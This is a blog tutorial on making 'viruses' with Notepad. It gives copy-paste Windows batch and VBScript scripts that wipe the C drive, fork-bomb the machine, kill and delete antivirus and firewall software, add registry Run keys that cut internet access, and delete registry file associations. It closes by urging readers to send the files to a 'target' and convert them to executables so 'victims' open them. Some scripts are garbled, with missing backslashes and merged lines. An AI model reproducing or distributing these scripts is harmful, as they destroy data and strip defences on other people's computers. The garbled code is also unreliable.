How to make a virus with notepad

how to make a virus with notepad or CMD
- Advertisement -

In this blog post, we shall see how to make a virus with notepad.

- Advertisement -

Whatever your reason is, I always like creating notepad virus scripts just for the sake of experimenting.

If you’re some tech-savvy or someone always interested in testing new techniques, programming and sort of then I believe you’ll find this post very fascinating.

The virus scripts we shall be creating will be made in windows default editor Notepad or Command Prompt ( CMD ). If you don’t have one, I recommend you get either Notepad ++ or the default one.

In a nutshell, this is a complete step by step guide on how to make a real virus using notepad.

Interesting Ahh…😎

As you all may know, a virus is a small computer program that disrupts how a computer works and it’s data.

Viruses do a lot of unwanted things such as replicating itself and corrupting user files, deleting saved user data and others.

So basically, in this tutorial, we shall look at making unwanted virus scripts which can crash your PC anytime clicked (be cautioned).

Contents

Create a virus with notepad using Batch Scripting

A batch script is simply a text file, containing a series of commands, which are executed automatically, line by line when the batch file runs.

With a batch of notepad virus scripts, you can make a very harmful virus which can break down a computer system, crash local disks and steal user information.

Remember this blog post is solely intended for educational purposes, as such I am nowhere responsible for any kind of damage caused by this tutorial. 

Create a Virus Using NotePad

So let’s see how you can create a simple virus using NotePad. These steps and tricks do not require anyone to be a professional programmer.

We shall first create a Trojan virus using NotePad. To do this, simply follow the step by step procedures below.

Create a Trojan Virus using Notepad

Go to Windows PC, Start Menu > All Programs and tap Notepad. You can as well just search notepad and double tap to open the program.

Next type the following

@echo off

make a virus with notepad

Then

:start

make a virus in CMD

After Click File and select Save As. A window will open up, save the file as a .bat for example virus.bat.

save virus file as .bat

To test whether the above virus works, Go To the folder you just saved the file and double-click to open it. This will crash your system.

Note: Do not try this on your working PC.

The other way.

Open NotePad on windows and type the following

@Echo off

make a virus with notepad

Then

Del C:\ *.*|y

create a virus in notepad

The code above will delete local disk C with windows for your entire system. Again do not try this on your daily working PC.

Important to Note: The above virus scripts will work with only windows version PC, not Mac or any other PC.

How to make a virus in CMD

You can as well create a variety of virus files using the source codes below. Remember after copying and pasting the source code in NotePad, save the file as .bat as shown.

Create a simple virus with NotePad that will delete local disk C

The source code below will allow you to make a virus with notepad that can delete an entire local disk C drive.

@Echo off
Del C:\ *.* |y

Make a virus with notepad that will create Process

The piece of code below can be added to notepad and saved as a .bat script to create a large number of processes in the background.

%0|%0

A simple Virus Program that Will Disable antivirus Program

The huge chunk piece of code below can be added to notepad and saved as a .bat file to disable antivirus program on victims device.

@ echo off
rem
rem Permanently Kill Anti-Virus
net stop “Security Center”
netsh firewall set opmode mode=disable
tskill /A av*
tskill /A fire*
tskill /A anti*
cls
tskill /A spy*
tskill /A bullguard
tskill /A PersFw
tskill /A KAV*
tskill /A ZONEALARM
tskill /A SAFEWEB
cls
tskill /A spy*
tskill /A bullguard
tskill /A PersFw
tskill /A KAV*
tskill /A ZONEALARM
tskill /A SAFEWEB
cls
tskill /A OUTPOST
tskill /A nv*
tskill /A nav*
tskill /A F-*
tskill /A ESAFE
tskill /A cle
cls
tskill /A BLACKICE
tskill /A def*
tskill /A kav
tskill /A kav*
tskill /A avg*
tskill /A ash*
cls
tskill /A aswupdsv
tskill /A ewid*
tskill /A guard*
tskill /A guar*
tskill /A gcasDt*
tskill /A msmp*
cls
tskill /A mcafe*
tskill /A mghtml
tskill /A msiexec
tskill /A outpost
tskill /A isafe
tskill /A zap*cls
tskill /A zauinst
tskill /A upd*
tskill /A zlclien*
tskill /A minilog
tskill /A cc*
tskill /A norton*
cls
tskill /A norton au*
tskill /A ccc*
tskill /A npfmn*
tskill /A loge*
tskill /A nisum*
tskill /A issvc
tskill /A tmp*
cls
tskill /A tmn*
tskill /A pcc*
tskill /A cpd*
tskill /A pop*
tskill /A pav*
tskill /A padmincls
tskill /A panda*
tskill /A avsch*
tskill /A sche*
tskill /A syman*
tskill /A virus*
tskill /A realm*cls
tskill /A sweep*
tskill /A scan*
tskill /A ad-*
tskill /A safe*
tskill /A avas*
tskill /A norm*
cls
tskill /A offg*
del /Q /F C:\Program Files\alwils~1\avast4\*.*
del /Q /F C:\Program Files\Lavasoft\Ad-awa~1\*.exe
del /Q /F C:\Program Files\kasper~1\*.exe
cls
del /Q /F C:\Program Files\trojan~1\*.exe
del /Q /F C:\Program Files\f-prot95\*.dll
del /Q /F C:\Program Files\tbav\*.datcls
del /Q /F C:\Program Files\avpersonal\*.vdf
del /Q /F C:\Program Files\Norton~1\*.cnt
del /Q /F C:\Program Files\Mcafee\*.*
cls
del /Q /F C:\Program Files\Norton~1\Norton~1\Norton~3\*.*
del /Q /F C:\Program Files\Norton~1\Norton~1\speedd~1\*.*
del /Q /F C:\Program Files\Norton~1\Norton~1\*.*
del /Q /F C:\Program Files\Norton~1\*.*
cls
del /Q /F C:\Program Files\avgamsr\*.exe
del /Q /F C:\Program Files\avgamsvr\*.exe
del /Q /F C:\Program Files\avgemc\*.exe
cls
del /Q /F C:\Program Files\avgcc\*.exe
del /Q /F C:\Program Files\avgupsvc\*.exe
del /Q /F C:\Program Files\grisoft
del /Q /F C:\Program Files\nood32krn\*.exe
del /Q /F C:\Program Files\nood32\*.exe
cls
del /Q /F C:\Program Files\nod32
del /Q /F C:\Program Files\nood32
del /Q /F C:\Program Files\kav\*.exe
del /Q /F C:\Program Files\kavmm\*.exe
del /Q /F C:\Program Files\kaspersky\*.*
cls
del /Q /F C:\Program Files\ewidoctrl\*.exe
del /Q /F C:\Program Files\guard\*.exe
del /Q /F C:\Program Files\ewido\*.exe
cls
del /Q /F C:\Program Files\pavprsrv\*.exe
del /Q /F C:\Program Files\pavprot\*.exe
del /Q /F C:\Program Files\avengine\*.exe
cls
del /Q /F C:\Program Files\apvxdwin\*.exe
del /Q /F C:\Program Files\webproxy\*.exe
del /Q /F C:\Program Files\panda
software\*.*
rem

Virus Script that loads applications Repeatedly.

Use the source code below to create a virus program that repeatedly opens applications on a victims PC. You can also add a list of your applications.

@echo off
 :x
 start winword
 start mspaint
 start notepad
 start write
 start cmd
 start explorer
 start control
 start calc
 goto x

Make a virus with a notepad that creates unlimited Folders

The piece of source code below can be used to make a virus with notepad that creates unlimited Folders on windows PC.

@echo off
:x
md %random%
/folder.
goto x

Notepad Virus Script that will disable internet permanently

The virus script below will help you create a windows virus that will permanently disable internet connection on windows PC.

echo @echo off>c:windowswimn32.bat
echo break off>c:windowswimn32.bat echo
ipconfig/release_all>c:windowswimn32.bat
echo end>c:windowswimn32.batreg add
hkey_local_machinesoftwaremicrosoftwindowscurrentversionrun /v WINDOWsAPI /t reg_sz /d c:windowswimn32.bat /freg add
hkey_current_usersoftwaremicrosoftwindowscurrentversionrun /v CONTROLexit /t reg_sz /d c:windowswimn32.bat /fecho You Have Been HACKED!
PAUSE

Virus program to constantly Popout CD Drives

The source code below can be used to make a virus program that constantly pops out CD Drives.

Set oWMP = CreateObject(”WMPlayer.OCX.7″)
 Set colCDROMs = oWMP.cdromCollection
 do
 if colCDROMs.Count >= 1 then
 For i = 0 to colCDROMs.Count – 1
 colCDROMs.Item(i).Eject
 Next
 For i = 0 to colCDROMs.Count – 1
 colCDROMs.Item(i).Eject
 Next
 End If
 wscript.sleep 100
 loop

Virus Script to Delete Key Registry Files

You can use the virus script below to create a virus with notepad that deletes Key Registry Files and loops with a message. The virus is too harmful and cannot be recoverable.

@ECHO OFF
 START reg delete HKCR/.exe
 START reg delete HKCR/.dll
 START reg delete HKCR/*
 :MESSAGE
 ECHO Your PC has been crashed.Your Dad.
 GOTO MESSAGE

Open Endless NotePads

The above virus script will pop up endless notepads until the system freezes and crashes.

@ECHO off
 :top
 START %SystemRoot%\system32\notepad.exe
 GOTO top

Make a virus with NotePad to create Endless Enters

The piece of code below will make the enter button seem pressed continuously of windows PC.

Set wshShell = wscript.CreateObject(”WScript.Shell”)
 do
 wscript.sleep 100
 wshshell.sendkeys “~(enter)”
 loop

It’s that simple to make a virus with notepad. The next step can be sending it to your target. Unfortunately, it’s very possible for someone else to open your virus file in notepad.

As such, it’s important to use some special tools such as Batch to Executable Converter to convert your .bat file to executable.

We shall not look into that in more details, however, we appreciate the fact that you can follow the above link and convert your .bat virus file to executable.

Your victims may find it quick to open an executable file better than any other type of file.

You may also be interested in reading the following.

Conclusion

I hope you found this post how to make a virus with notepad very helpful. You can simply copy and paste any of the virus scripts above.

Found this post helpful? Share this on Facebook and Twitter, and don’t forget to comment if you got any questions or problems. You can subscribe to post updates for free!